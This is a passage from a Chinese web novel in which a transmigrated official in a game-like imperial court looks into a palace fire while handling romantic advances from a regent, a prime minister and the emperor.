可是,为什么赵永敬不下手?
他对自己亲手儿子,未来储君太子手段都如此狠毒,背上的一道道血痕做不了假,把人打得都跪趴在地了!
正是因为有太子赵明泽的前车之鉴,他才如此战战兢兢,甚至找系统兑换了屏蔽疼痛的道具……
现在倒好,他直接成了跳梁小丑了。
季李真是悔不当初,他长叹了口气,平复了心情,没事,以为就不要再用这个道具了,也能遮掩过去。
等等!赵永敬为什么要给他放这一天假期呢?
难道是这屏蔽痛觉功能太强,直接帮他治疗好了?
季李怀着侥幸,不死心的喊出了系统,‘小云,昨天我用道具是附赠治愈效果的吗?’
「没有哟~该道具时效为二小时,只作用于屏蔽痛觉。」
季李彻底死心了。
门外王七敲着门,喊:“大人,摄政王前来探望。”
季李摆手,撑起身子趴着床柱问:“他已经进院子了吗?”
王七:“没有。王爷正和冯相攀谈。”
季李:“好!那不见,就说我已经睡下了。”
王七得了指令很快退下。
留季李一人在屋内抓狂,他现在真是不敢见赵永敬了,就好像有个把柄被人抓到手里。
季李更害怕,被赵永敬知道系统的存在。
他脑中突然涌出个念头,如果赵永敬他们知道自己是游戏NPC的话……
那可完蛋了,照昏君这性格肯定是不会容易他这个外来人员的,还有摄政王奇奇怪怪的态度,幸好,现在他是巴结上了冯相。
冯裕之还能算一个正常人,就是严厉了一些,不过既然是贤名远扬而且一心致力于玄朝清明,在民间名声更好。
恐怕就算被知道了,他是外来人员但任务是救世,肯定也会得到助力吧……
季李高悬的心总算是放下了,他决定了以后不能再使用系统的道具了,这个东西太容易暴露他身份了。
从今以后,他要把自己真的当做游戏里面的人物,一直生活在玄朝中的人。
……
天色渐晚,季李在屋内闷久了,开了窗正趴在桌上远眺。
突然眼前闯入一抹橙红,正巧,此时他还在想西厢房走水一事,他生出联想吓得赶忙走出屋。
就见两旁侍从提着暖炉,冯裕之走在正中正半垂着眉轻抚着臂上厚实狐毛,听见响动淡淡抬眸,眼瞳里映着淡红色的火光幽幽的,身后是暗蓝色一片。
季李心头一跳,一句,‘妖怪’差点脱口而出。他慌忙把手掩在嘴上,眨了眨眼睛,朝颦眉不解的男人笑了笑。
一迈腿,跑到人跟前,放软了语气喊:“老师,您来了。”
冯裕之偏头瞅了他一眼,脚步未停继续往前走,又像是注意到少年没得到回应后垂下头透出的落寞
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,微微抿直了唇,温声:“屋外太凉了,进屋聊。”
季李眼睛一亮,有些不可置信伸手揉了揉自己的耳朵,他刚才怎么感觉冯裕之说话的声音很温柔呢?是听错了吧?
季李难得管了,坐在冯裕之对面,只睁着两只眼睛看。
一旁的小厮又是摆放暖壶,又是沏好热饮,他根本插不上手。
茶杯里倒满了红枣枸杞水,一颗大枣去了核,他一口咬上去蜜甜的汁水爆出,稀碎的软米般的颗粒嚼得很香浓。
季李越喝越觉得不错,一只手往茶壶的方向窜。
另一只白到透青瘦削的手掌已经握上了金玉把手,冯裕之抬手,微倾,热饮倒满了另一个空茶杯。
他轻轻将茶杯推近,嘴角像是衔了抹笑意,微微偏头看着少年,颈边的绒毛贴到润湿的唇面,他张唇:“喜欢喝这个吗?”
季李连忙接过来,点头:“喜欢,我感觉这个红枣很好吃。”
冯裕之点了点头,不再说话了。
季李不明白他的意思,端着茶杯,想了想把两杯都喝了个干净,刚放下杯子见人又要给他倒满,不敢再忍了急忙开口:“老师,你是有什么事要交代吗?”
冯裕之止了动作,脸上闪过一瞬遗憾很快变为平静,“是有一件事。”
季李闻言,坐直了身体正色道:“有什么任务吗?”
冯裕之盯着眼前人的举动,因为紧张而抿直的唇,桃花眸被瞪得更圆,浅金色的碎光像是镶了进去。
他一直不敢承认的事实,就摆在眼前,本想着继续掩耳盗铃的,可是也许可以试试呢?
冯裕之的目光太过于显眼,尽管是直直盯着,却没有什么刺人的灼灼感,只是温柔似水透得无尽的悲伤和眷恋,像平和无风的海面。
有细小温热的沙砾,柔和温暖的阳光,迎面吹来湿咸的海风……
季李不自觉沉溺进去了,幸好,他想起了昨天梦里都快哭成水的阿狸,极哑的声音还不知疲倦的唤他。
季李暗自掐了把自己的大腿,再看向冯裕之时,只望到他眸里冰一般的冷冽,尽管穿得极厚,腿腹上还放着覆着皮毛的汤婆子,冯裕之还是看起来很冷的样子。
连带着季李都感觉冯裕之是个冷漠的人?
也不知道怎么想的。
季李适时轻咳了声,把又飘远的思绪拉了回来。
“不算是任务。”冯裕之移开目光,盯着手边红彤彤的汁水。
季李一听追问:“那是什么?您放心老师,我一定好好去办。”
他指腹贴着杯壁,近乎刺烫的温度给了他安全感,下意识神情柔软下来:“听闻,你昨日撞上了西厢房走水一事。”
季李:“是!当然,我在和长乐聊天,突然有群侍女提着木桶往那边跑去,我问了一个人才知道是西厢房走水了。”
“你认为是谁做的?”冯裕之骤然抬眸,锐利得盯向他,像是能穿透他的皮囊,看进他的内心。
季李面不改色迎上去,脑子里,第一个飘过的名字是,时乐,他正色道:“学生认为是三皇子。”
冯裕之没回话,只是敛了刚才的气势,淡淡凝着他的脸,嘴角含着极轻的笑意,他掩面轻咳了几声,唇色血红:“当真?”
23. 第二十三章
"学生不敢说谎!"季李立马从凳子上站起,拱手行礼神色恳求。
冯裕之摆了摆手让他坐下,“既然如此,你就负责西厢房的修建。”
“学生明白。”季李真想拂面大哭,怎么就又接下个烂摊子,说心里话,按照他目前得到的信息来看,太子、三皇子和时乐都于此事有关。
真不好办呀。季李在心里抱怨,面上还笑得乖巧。
冯裕之将少年的心思看得透彻,压下浅淡的不忍,移开目光无意间开口:“听王七说,是你自己上的药?”
季李:!一捏头恶狠狠地盯上了已经躲到角落装透明人的王七,好你个王七,转头就把他的事抖了出去。
“好了。”冯裕之适时开口,低哑的嗓音透着些温柔,“他也是关心你。”
“嗯嗯。”季李一对上冯裕之秒变乖巧小孩了,他端正坐直了表示正在认真听。
冯裕之见人这副模样,一时竟有些恍然,在他记忆里,每次犯了错、做不完功课或是想要什么玩意,总会笑弯了眸亲昵的和他并排坐着,毛绒绒的乌发蹭到耳垂,像一团热茸茸的太阳。
“……想来,你独自涂药总算不便的。”冯裕之突然不知道自己在说些什么,喉咙里像吞了颗烧得赤红的小铁球,被一寸寸拽出来,卡在口腔。
灼在舌根上留了块碳黑的疤,“你过来,我帮你再看看。”
季李一听,连忙摆手又发觉自己反应太大了,毕竟冯裕之作为他的老师、长辈。虽然平时严厉一些,但肯定还是担心他的,就是看看伤罢了。
只是,他后背上也没伤呀。
季李当然要拒绝了,他咬了咬唇小声道:“怎么能麻烦您呢,学生已经处理好了。如果不放心,我回头让王七再给我涂一遍。”
他怕人不相信,迅速站了起来,又是展臂又是下蹲,想了想还在冯裕之面前转了两个圈……
冯裕之又气又好笑,只能咽下被拒绝的苦涩,这也是合该的,他不自觉仰头追寻着少年的动作,因为紧张而捏着衣袍印出的小褶皱,认真的盯着他,但眼睫似蝶般起舞显出少年人独特的青涩和美味……
冯裕之突然感觉好渴,舌根刺痛燥起的热意发麻,他眼睛发涩本该干涸的湖竟沁出一层薄薄的雾霭,他倏地侧过脸,脸颊因羞愧而沁出薄汗。
眼眸不经意间触到垂到肩颈的银白发丝,他终于反应过来,已经过了太久了,他等了太久了,他依然老去。
老……
季李不知道冯裕之怎么了,冷着脸半垂着眸匆匆从他身边走过,正要开口问,目光落到地面上溅成花的血,一朵一朵七零八碎的。
就是冯裕之离开的路线。
这?季李下意识跟上去,小厮们提走了亮澄澄的暖炉照在一头银发身姿挺拔如松的男人周遭,雪白的毛领垂掉在人腰间,湿黏的血液滴落上去。
冯裕之像是才注意到,一伸手去拿。
季李在身后,总抓到一瞬暗红闪过苍白劲瘦的手腕像只被刺穿身体的雪狐,叼着沾血的大尾巴,微弱起伏的身体象征着他流逝的气息。
少年站在门外,就这样,看着一行人走远,离开了庭院,橙红的暖光消失恢复暗色一片,阴冷冷的刮来一阵风吹得庭中玉兰花树索索作响。
季李这才像是反应过来,裹了一身幽幽的冷香回了屋。
一夜无梦。
季李是被王七叫醒的,最近是真的冷下来了,幸好没有下雨,不然会更冷,他裹了裹外袍。
走出相府的时候突然想起一件奇怪的事,他昨晚竟然没做梦!?
怎么回事呀。他咬着唇,眼前显起阿狸咬着被褥冷冽的丹凤眼含着浓郁春情,昳艳的舌尖探出,低哑的泣声声声。
季李想不明白,整颗心像是被揉成了一团,后面一路都想着阿狸的情况。
是不是以后都见不到阿狸了?怎么可以!
季李心里想着事,不由走得快了些,刚踏进宫门嗅到一丝浅淡的橘子花香,他猛地抬眸,正好看着一道挺拔的身影。
和梦中的阿狸一模一样。
季李放轻了脚步走近,在那人颈后看到熟悉的浅色红痣,就是阿狸……!?
男人突然转身,脸上没有一丝慌乱,眼眸凌厉带着刺眼的傲慢,他轻扯起薄唇淡淡吐息,语义里含着嘲讽:“季大人,您好像很失望?”
季李躁动的心瞬间冷下来,他往后退一步疏离的笑:“王爷,好巧。”
封怀礼不想看着他这副公事公办的模样,但又不想变回黏人爱哭不要脸皮的,浪、荡阿狸。
脸色一会儿青一会儿白,好不精彩。
季李懒得去想,这人又在想些什么,自顾自的行了一礼抬脚欲走。
突然手腕一紧,温热柔软的触感贴了上来,季李习惯性的停了下来,封怀礼见人也不反抗,更是觉得自己占了理,压身凑近,盯着那块记忆里好咬的耳肉,齿尖发痒。
奋力压了下来,抵到口腔一侧软肉,压低了声音恶狠狠道: “怎么,白天就不认了!”
季李一甩,轻易挣开他的束缚,闻言像是听到什么笑话,明媚的眼眸轻飘飘落到不知是气还是羞而涨红的脸颊上,轻抬对上人虚张声势的气焰。
一句话轻易浇灭了男人的怒意。
“你不是他。”
封怀礼愣在了原地,僵直了身子,见着人越走越远。
心里有一锅沸腾的热水,冒泡,破开,一道声音极轻的响起,‘你会失去他的。’
封怀礼拔腿追了上去,可在要接近人的一刻又放慢了脚步,只跟在人身后。
季李在心里叹了口气,说起来,他是不可能就这样放过他的,毕竟,梦里的阿狸和白日的封怀礼就是一个人。
这是一个不可改变的事实。
很好笑的是,他似乎对那个黏人的阿狸产生了感情,不是爱,但他也不愿意接受那个人就这样消失。
封怀礼就这样跟了他一路,也不吭声,也没什么举动。
就像是他的影子,缀在身后。
到了书院,季李转过身,盯着不敢看他的男人,轻声道:“王爷,您还有事吗?臣要去授课来了。”
封怀礼用鼻子哼了几声,眼神飘忽不定就是不看他。
季李真是服了他,也不想多言,转身要走。
身后传来一道微不可闻的声响:“要叫我阿狸。”
季李脚步未停,一路带风踏进屋内。
这次时乐坐在最前排,她头顶扎着个丸子,上面别着粉色的玉饰,脖子上挂着金灿灿的长命锁,她眼睛瞬间明亮起来,笑起来嘴边有两个小巧的梨涡。
时乐笑着扑过来,语气惊讶:“哥哥,你遇到什么高兴的
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事吗?”
季李小心接着她,歪头:“为什么怎么说?”
时乐像是发现了什么秘密,用肉乎乎的小手遮着嘴,一双狗狗眼看着让人怜惜,她压低声音:“因为,爹爹进来的时候在笑,很开心的模样。”
“……是吗?”季李愣了一瞬,感叹时乐的敏锐,弯了弯眸想到件事便言:“那我们就交换一下秘密,你告诉我西厢房的事,我告诉你为什么会笑。”
时乐憋着嘴,想从季李怀里溜出来,没得逞,睁着眼睛再施一计,装可怜。
季李差点又心软了,连忙避开她的视线,失笑:“不可以这样哟,而且,昨天的礼物长乐也拿走了。”
时乐叹气,正要开口,眼前一亮。
三皇子不知屋内风波,在外面碰上了摄政王,他赶忙去刷好感,结果讨了一鼻子灰。
正在心里暗骂人,吃了炮仗,面上笑眯眯哼着歌进屋。
一声欢庆的童音响起:“文安哥哥!”
赵文安没见过刁蛮小郡主这般模样,说来也是奇怪,就从昨日开始,往日里趾高气扬连皇室子弟都瞧不上眼,甚至,他听到宫里的小公公暗自嚼舌根。
说长乐郡主每过几天就要跑到养心殿去‘骂’、和父皇讲道理。
连他手段毒辣心胸狭窄,虎毒食子的父皇赵永敬都要柔声柔气的去哄这位小郡主。
他赵文安对于人情世故这方面自然是通晓的,之前就遥遥和这小屁孩打声招呼就算完事,结果从昨日,就像开始姐弟情深了。
赵文安一展扇,风度翩翩走过去,自知前方没什么好事,但他还是得去,还要笑:“长乐妹妹,这是在和老师闹着玩儿吗?”
季李没想到,到了还出了个程咬金,只能咬牙松开了手,长乐就像归海的鱼儿一跃而下。
溜到了座位上,朝赵文安招手,笑起来乖乖的:“文安哥哥,快来和长乐一起坐。”
既然是长乐先开的口,季李也不好去阻拦,再说,小孩儿笑得多高兴呀。
说不定,之前长乐没来学堂根本就没有什么玩伴。
季李看时乐有一层厚厚的滤镜,在他眼中,长乐就是个从小没妈,爹又被召到边域,小小一个就呆在了无乐趣的院子里,碰到了一个人,就想让他当自己爹爹。
真是个缺爱的小孩。
季李慈爱得看了时乐一眼,随即开始了今天的授课。
一个、两个……
怎么二皇子还没来!季李想到昨日太子的遭遇,不敢放松,走到门口喊了个公公去询问。
“文安,太子殿下今日是请病假吧?”季李盯着还在笑嘻嘻讨巧的赵文安。
赵文安随即抬头,挠了挠头:“不知道啊?”
“行。”季李当时知道这事他不明白,只不过,他看不下去赵文安这副模样,如果把长乐教坏了怎么办。
实则黑芝麻馅的时乐,朝季李乖巧的笑。
季李满意的点头。
“夫子。”小厮匆匆跑了回来,拱手道:“二皇子殿下起晚了,现在还在路上。”
季李:“那太子殿下呢?”
他心里有了准备,太子肯定是要请病假的,他真的受了刑,还趴跪在大殿上,一副惨态,他才心软替了人剩下的行罚。
突然,一道低哑的声音响起。
“老师……”
24. 第二十四章
季李偏头去看,只见人穿着玄色朝服,被人搀扶着,脸色苍白,头发散落贴着冒汗的额前。
“太、太子殿下?”季李瞪大了眼,心里七上八下的说不出什么滋味。
赵明泽长得有些秀气,负伤下看起来更是弱不禁风的模样,和他父皇完全不像。
赵明泽朝季李行了一礼,整个身子望前一掼,季李看得心惊,探出手想去扶,急忙说:“帮忙扶一下,行了行了,你快坐下休息吧。”
书童搀着人往里走,靠着墙角勉强坐直了。
季李都怕人上着课,上着上着就要倒在书桌上,导致他一整节课,时不时就往墙角看关注着情形。
到了课间,赵明泽脸色白得厉害,满头冷汗,季李还是不放心,走近询问着书童:“怎么不在东宫里养伤,功课这些,由你摘抄一份就行。”
书童神情不安,紧攥着指节回话:“下人也是怎么考虑的,只、只是……”
书童皱着眉头,眼睛不安的看着他,支支吾吾的没有说下去。
季李更是不解,刚想宽慰,就听一道笑音响起。
赵文安‘噗’的一声展开扇子,插话:“老师,大哥自然是不想父皇失望,老师的课怎么能一再缺席呢?”
窝在角落紧闭双眼忍痛的赵明泽,抿直了唇,点头:“就是如此。老师,您不用担心我。”
季李真是大受震撼,实在想不明白,昏君是怎么教育孩子的,一个教得滑不溜秋的像个纨绔子弟,一个教得像老黄牛沉默沉默,把他的父亲真当做了天。
难道,学业还比健康更重要吗?
季李的心里闪过这个疑惑,紧接着,眼前浮现出赵永敬高坐在龙椅上,赤裸着双脚,一身玄色龙袍只披在肩头,大敞着双腿,蜜色胸肉上暗红的疤痕隐到衣袍里。
男人漫不经心的歪斜坐着,一双金瞳灼灼,蔑视世人,唯我独尊的淡漠。
“真是,狼性文化呀……”季李把心里话说了出来。
赵文安一闪身凑到身前,眼前带着一丝探究,他笑嘻嘻的像是无意:“老师,怎么啦?”
“就是、没什么。”季李差点被他套出了话,赶忙闭上了嘴,转身毫不留恋走上讲台。
一个、二个、三个……
等等!好像二皇子还没来。季李一咬牙,他真是把心思全放到太子身上去了,连二皇子还没来都没注意。
“你再去问问二皇子的……”季李刚说到一半,就见到一个小厮急急忙忙跑过来,满脸通红。
季李快步走近问:“是二皇子的消息吗?”
小厮点头小声回:“是、是。回夫子,我家殿下掉进水池了。”
“啊?”季李眨了眨眼睛,只觉得是自己听错了,怎么会有这种事情。
季李吞了吞唾沫正色道:“不要说慌,如果二皇子有其他事情,这节课也可以不用来上。”
小厮一听急得直跺脚,声音陡然增大像是在喊:“不是!殿上真的掉水池了。”
季李没想到他会是这样的反应,柔下语气:“是我刚才说错话了,既然你家殿下落水,就再休养一日吧。”
那小厮像是要哭出来,一双眼睛红了个彻底。
“这又是怎么啦?”季李顿时不知所措,偷偷向站在一旁看热闹的王七使眼色,朝他作口型,‘快来,救救我。’
王七立马上前,温柔又强势的把小厮挽到门外。
季李松了口气,真是当老师也太不容易了,幸好学的土木工程专业,当不成老师。
总算熬到下课,季李嘱咐太子的书童,让他快把人扶回寝宫。
那知,太子轻轻挣开书童的手,整个人晃晃悠悠的,看得人提心吊胆的,就怕一不注意倒在面前。
季李真是不敢想,要是把他讹上怎么办。
赵明泽单手撑着书桌,说一句话喘了十口气,满头的汗流得是真畅快。
季李赶忙接话,一边使眼色让书童快把人扶着,语气凛然道:“好!既然如此,太子便和我一同去看看西厢房的情况。”
他话音一落,时乐蹦蹦跳跳走过来,扯了扯季李的衣袍,脆生生开口:“哥哥,长乐也想去玩儿。”
长乐不说话还好,一露面,季李瞬间想起了,第一次见小孩的情景,就是西厢房走水了,看她的神情和此时怕是有牵扯的。
季李起了私心,他不想让小孩牵扯进来,便蹲下身摸了摸长乐的头,温声问:“真的吗?如果要去的话,长乐就不能再说谎话哟。”
时乐瞬间不嘻嘻了,皱着脸刚想说那算了,赵文安又凑了上来,一抬手轻轻搭在小孩肩头,语含笑意:“老师,您就放心吧。我会看好长乐的。”
季李一百万个不放心,颦眉启唇,还没说话。
时乐一个猛扑,声音软软的撒娇:“哥哥,让我去嘛、去嘛。”
季李叹了口气,算是答应了。
几人出了书屋,季李满腹心思走在最前面。
不远的亭子里站着的身影,不会是封怀礼吧?季李在心里想着,突然身后传来的惊喜的呼喊。
赵文安笑得那叫一个畅快,扇子都没心思扇了,脚步飞快跑上前,恭敬又欣欣然开口:“舅舅,你是来找我的吗?”
封怀礼不耐烦得把小屁孩推开,嫌弃反问:“你来的时候就问过了。”
季李没凑上去,毕竟,这是舅侄两人说说话他也不好打扰。
封怀礼推开人,偷偷摸摸又朝外看了几眼,还是没等到人。
赵文安一脸狐疑,像是发现什么大秘密,压低身音问:“舅妈也在?”
封怀礼刚想拍开他,闻言松开了拧紧的眉,放轻了力道,转而轻拍了拍人的肩膀,一抬脚擦身而过,含笑道:“对。”
赵文安惊得松开了握着玉扇的手,‘啪’一声掉在地上,他没去捡,眼见着封怀礼直直往前走。
突然,停下脚步,站在季李面前。
只见着背影弯了下去,像是凑到了人脸上,不知道说了些什么。
!
他舅舅,玄朝摄政王,竟然被扇了一巴掌!
赵文安只觉天都塌了,不过,应该是他看错了吧,为什么,封怀礼还笑眯眯的凑到人跟前,嘴巴都要贴到耳朵上了。
季李说实话,他真的冲动了,因为男人越走越近,本来是想避开的,但是现在在时乐面前,他必须要当一个无畏的好老师,让人看看什么是无畏强权。
男人眼睛亮得惊人,盯着他,湿红的舌舔过唇面,橘子皮的涩意扑洒上来只听到人开口。
“赵文安说他的舅妈就是你。”<
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“什么?”季李一时没转过弯儿来。
封怀礼凑近,语气调笑:“我说,你是我的王妃。”
季李一抬手想把人推远,结果封怀礼握住了他的手,拉着往温热脸颊落。
季李只好顺势不轻不重打了一下。
男人像是生了恼意皱起了眉头,季李只知失礼抽回了手,任由他逼近。
封怀礼盯着柔软的耳肉,张开唇就好像已经含了上去,语气怀疑:“你是怎么满足他的?怎么轻?”
季李这次瞬间反应过来,是指阿狸,他冷淡道:“因为你不是他。”
封怀礼不乐意了,还要继续纠缠。
季李直接伸手捂住他的嘴巴,淡淡道:“你快离开吧。”
男人红了眼,张开嘴狠狠咬住指节,齿尖却只是轻轻的蹭。
等人一走,季李抬起手打量,食指上只有两个浅粉色的孔印。
时乐和太子等人面面相觑,还在神游。
“好了。”季李打断了寂静,抬脚往前走:“办正事。”
时乐偷偷摸摸的溜到他跟前来,一双狗狗眼神神秘秘的瞧了他几眼,亏小孩儿还以为自己做的隐蔽。
长乐现在太矮了,才到他膝盖上面一些,还要仰头来看他,这番动作下来动静也大了不少。
像只淋湿了雨,夹着尾巴害怕被抛弃的小狗崽。
季李瞬间心软了,想着蹲下身,抱起小孩往前走。
时乐抿了抿嘴,还是什么也没问。
等走过一个木桥,突然传来一阵响动,季李弯了腰小心将小孩儿放下来,转过身一看,太子已经倒在了桥头。
书童只拖着赵明泽的上半身,瞬间从周遭跑来几人。
争先恐后将人抬起,神情匆匆往太医院走。
“你也跟着去吧。”季李叹了口气,看着呆愣在原地的书童。
书童摸了把眼睛,感激看了一眼拔腿就跟上去了。
季李看着浩浩荡荡的一行人,决心要收回先前对赵明泽的评价,这玄朝太子可不是什么老黄牛。
而是头犟驴,不撞南墙不回头。
完全把自己的生命抛之脑后,他真是不知道,赵明泽在想些什么。
“哥哥。”一个小小的童音响起。
季李很快回神,调整好心情笑着看着她,轻声问:“怎么啦,长乐。”
时乐皱着脸,神情很纠结:“太子哥哥是不是死了。”
季李一听吓得捂住小孩的嘴,无奈笑回:“没有,应该是疼晕过去了。”
时乐眼睛红红的,可怜巴巴的望着他,很小声的开口:“长、长乐,想父亲了。”
“没事。”季李赶忙揉了揉她的脸,温声说:“要不然,长乐给大将军写信。”
“要!”时乐瞬间止住了要掉不掉的泪珠,继续道:“我要给父亲说,我找到爹爹了。”
“……好吧。”季李真是怕了这个小不点了,真是,吓了他一跳,算了,只要小孩儿开心就好。
“好耶!好耶!”时乐美滋滋的跳,完全看不出刚才的伤感。
当隐形人的赵文安看得清楚,一面感叹这跋扈刁蛮小郡主的百变,一面为自家舅舅的幸福担忧。
“文安哥哥!”时乐突然盯上了人,脆生生的喊。
25. 第二十五章
赵文安心头一跳,赶忙应:“长乐,和哥哥走前面,我们给老师带路。”
季李刚想拉住小孩儿,结果时乐像泥鳅一样跟了上去。
真是!他还在称着这光景,问一下时乐知道的信息呢……
烧毁的西厢房。
黑漆漆一片,根本看不出之前的模样。
季李听着宫中司正的说辞,‘一只黑猫打翻了烛台引起了大火,将宫殿烧了个干净。’
“这里没有看管吗?”季李不解。
司正:“是有守卫巡逻的。”
“按你的说法,起火的时候没人在?”季李犹疑道:“这地方以前是用来做什么的?”
司正暗了神色,只道:“当时正巧没人在。”
季李追问:“西厢房是用来做什么的?”
司正沉默着,赵文安适时跳出来,凑到季李身旁,语气讨好:“老师,这案子都结了。我们啊,就是来看看。”
司正赶忙溜:“好,那小人就先告退了。”
季李没有阻拦,看来,有人比他更清楚西厢房的用处。
“你肯定也好奇吧。”季李看着赵文安的脸,语气平静。
三皇子干巴巴的笑了一声,展开玉扇有一搭没一搭的扇着,脚步微抬想往角落挪。
季李把他的动作看在眼里,却没出声阻止,朝旁边兴致勃勃看着热闹的时乐一笑,语气温柔:“长乐应该也想知道吧。”
时乐闻言赶忙点头,顺着季李的示意一同盯上了赵文安。
赵文安扇风的动作滞住了,咬着唇脸色复杂,很快恢复了笑容,脚步一轻站在烧得漆黑的‘西厢房’牌匾面前,“其实吧,我了解得也不够多。”
“别卖关子了。”季李催促。
赵文安愤然瞧他一眼,刻意压得了声音,还神神秘秘朝四周看,见没人才将视线收回落在季李脸上,“相必老师知道我父皇的有个心上人吧。”
季李不意外,他点头拧着眉问:“那太子的生母……”
“哈哈哈!”赵文安突然笑起来打断了他的话,见人不满忙解释:“老师,您真的是误会了。那人是名男子。”
季李愣了一下,果然,我就说这昏君对他怎么奇奇怪怪的!就是个断袖!
“老师。”赵文安看人脸色不对,轻声:“怎么了?”
“没事。你继续说。”季李摆了摆手。
“其实剩下的故事和寻常爱情故事也差不辽多少。”赵文安晃着扇子,语气含着些惋惜;“他们两情相悦,只是那人患了病很早就离世了。”
“寻常爱情不都是一男一女吗?”季李反驳。
赵文安瞪大了眼睛,很是震惊的开口:“老师,您竟是这般想法。俗世规训只用于束缚平民百姓。”
“……那,你知道那人的身份背景吗?”季李追问:“他是被召入宫住在西厢房?”
赵文安摇了摇头:“这些可是皇家秘史了,我可不知道。”
“那你见过他吗?”季李也不意外。
赵文安:“见过你算吗?”
“……”季李沉默了,这小孩怎么鸡头鸭讲的,完全是答非说问。
赵文安见他的冷笑话没人欣赏,打了个哈哈正要解释,突然急匆匆的脚步声响起。
季李也注意到了,偏头一看,一个公公急急忙忙走过来。
“等会儿再说。”季李悄声抛下一句,迎了上去。
来人躬身道:“见过季大人、三皇子殿下。陛下召见。”
“好。容我再嘱咐两句。”季李蹲下身,摸了摸时乐的头,“等会儿让王七送你回府,路上注意安全。”
“长乐知道啦。”时乐乖乖点头。
季李又给王七说了几句,弄完后转头发现赵文安和来人攀聊起来了。
季李看得有趣。
“父皇没有召见我吧。”赵文安一脸紧张。
“没有特别强调。”公公只道。
赵文安放了心,笑言:“那我就不去了吧。”
“怎么能不去?”季李适时开口:“你也不想,后面单独派人来请你吧。”
“老师!”赵文安急了,踱步到他面前讨饶:“您别说了,我们不是一头的吗?”
季李:“谁和你一头的,你都说了,我是你老师。”
无法,三皇子一路臭着脸,连扇子也不扇了,坠在队伍后面。
季李没想到赵文安竟然怎么怕去见昏君,好心情的想,这下好了,让你耀武扬威的。
心里虽然这般想,眼前浮现出太子跪趴在大殿后背血迹斑斑的模样。
昏君应该不会动手吧?这赵文安也没犯什么事。也不知道找他们做什么……
季李想着,神情担忧的看向赵文安。
赵文安瞬间注意到季李的视线,心脏狂跳,加快了脚步凑到跟前,小声问:“老、老师。你是不是知道什么内情?”
季李摇头:“不知。”
赵文安脸涨红,讨饶道:“老师,就当学生求你啦……”
“季大人,陛下让您进去。”王公公笑眯眯走了出来。
季李只好安抚得朝赵文安看了一眼,表示爱莫难助。
拂袖大步朝殿内走去。
养心殿内,高台龙椅上空空如也。
厚实的毛毯被换去了,绚丽夺目的珠石链垂掉下来,将大殿分隔开。
季李止步站于帘前,这才注意到,赵永敬跪坐在地上,身前摆着张玉桌像是在下棋。
“臣季明礼,见过陛下。”季李收回视线,老实行礼。
半响,没得到回话,只听到落子的清脆撞击声,一声、两声……
“还不快进来?”帝王烦闷落子,一抚将棋盘拨得乱七八糟,他偏过身,沉沉目光落来。
季李在心里骂,你装什么装,个昏君。面上平静似水,抬手掩开冰凉珠帘,引起一阵稀碎的响动。
灼灼的目光始终盯着他,季李惊不住卷曲了手指,后藏进宽大衣摆,微低着头走近。
“怎么,生气了?”含笑嗓音突自响起,赵永敬执起一枚圆润光洁的白子握进手心,捂得玉石温热,在掌心灼烧起来,烫得心口发软。
季李摇头,恭敬道:“臣不敢。”
赵永敬一手撑着下巴,毫不掩饰的去描摹他的容颜,贪婪的一寸一寸落,凝住艳丽被抿直显得可爱极了的唇肉,掩在层层衣料下的瓷白滑腻的颈。
“你过来。”他舔了下唇,放轻了语气。
季李捏紧了指肉,心里不解缓慢挪步。
赵永敬命令:“伸手。”
季李下意识抬头看他,男人慵懒惬意的偏着头,衣袍像往日般,不知
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羞的敞露着显出一道极深的V字,浓紫色的衣料尽显得蜜色肌肤都白了一度。
褐红色的被隔开,只露出一半。
腹腰绷得很紧,看不出什么赘肉。
季李不可避免的想起了自己有些软的小肚子,瞬间燃起来男人之间的斗意,他一定要夺回他的八块腹肌!
繁杂的思绪只闪过一瞬,他凝了凝心神,伸出手。
男人抬起手臂,手指间像是攥着什么东西,季李一愣,很快俯身展开手指去接。
手心落下一个烫灼圆滑的玉石,季李被烫意弄得弯了弯指,无意间指尖触到男人的掌心,那处更烫,他瞬间收回了手,紧握着白子拱手道谢:“谢陛下赏赐!”
赵永敬神情难辨,悬在空中的手极其缓慢的收了回去,垂眉,凝在泛着凉意的掌心一处,眨了眨眼睛,闻言像是才反应过来:“那就赏你了吧。”
季李一听,都想把掌心这颗烫手的破石头砸人脸上,什么就,那就赏你了?
吝啬鬼。
被骂吝啬鬼的帝王还在恍惚,他试探性的把另一颗白子放在手心,很快被人丢开,抿直了唇很暴躁的模样。
“?”季李一看,心头一紧,什么意思,难道赵永敬就想要这颗棋子,他吞了吞唾沫正色道:“陛下,臣不擅棋艺。这白子还于您吧。”
赵永敬闻言抬头,眼里带着些喜意又暗下来,摩挲着手指好半天才开口:“算了。君无戏言。”
季李:“是!”
赵永敬烦燥得换了个坐姿,直接坐在了玉桌上,舒展开双腿,衣袍从腿间散开。
季李急忙往后退了一步,移开视线,眼前红艳珠链缠绕腿肉的景象迟迟不肯消失,甚至他越想忘,记得越清晰。
之前脚踝上的鸽血石宝石链是从大腿根垂下的,金丝似大蟒缠着猎物一圈,一圈往下,蜜色皮肉印着那血红稠浓,时不时腿间轻晃,真像是活了般,流淌着。
“喜欢吗?”赵永敬把他的神情瞧得分明,一时连掌心的凉都忘了,探着上半身故意让肩膀的衣袍滑下,勒到半肩,整颗褐红因情动显出些粉意。
季李真不知道自己在想什么,竟然觉得,那句喜欢,是指他胸前的地方。
于是,季李抬头准确瞄准了目标。
冷静!不要乱想。季李咬住了下唇,浅淡的痛意让他更加清醒,很快抽离了视线,警惕得往后退,连忙退了几步,拱手回道:“陛下所赐皆为天露恩泽,臣不胜感激。”
“……无趣。”赵永敬哼了一声。
季李只当没听到。
赵永敬:“西厢房重建之事就由你经手吧。”
季李一听,总算谈起了正事,凛然回:“是!”
赵永敬随口一说:“有什么需要的吗?”
季李立即点头,抬眸诚恳道:“谢陛下体谅。臣请求三殿下携手共行。”
“文安吗?”赵永敬挑眉:“为什么?”
季李正色道:“臣对宫中事物不甚熟悉,而三殿下对事对人极为透彻,臣想,如有他帮助定事半功倍。”
赵永敬听到的,‘臣喜欢他。’
赵永敬不爽,一把扯回衣服冷冷道:“你喜欢他?”
季李大惊失色,跪地道:“臣绝无此意!”
赵永敬不看他,摆手唤:“把赵文安喊过来。”
26. 第二十六章
近一个月没有被召见,赵文安甚至在心里祈祷再见也因为皇帝病危命不久矣。
可惜。
王公公一如既往笑眯眯的模样,说实在的,他现在见人说人话见鬼说鬼话的习惯,都是给这人学的,连母后都不得不承认,习得也算是入木三分。
因为在他小时候,母后还不受宠,现在陛下跟前儿的红人王公公,还是母后侍前的小太监。
“王公公,您给我透透底吧。”三皇子悄然开口。
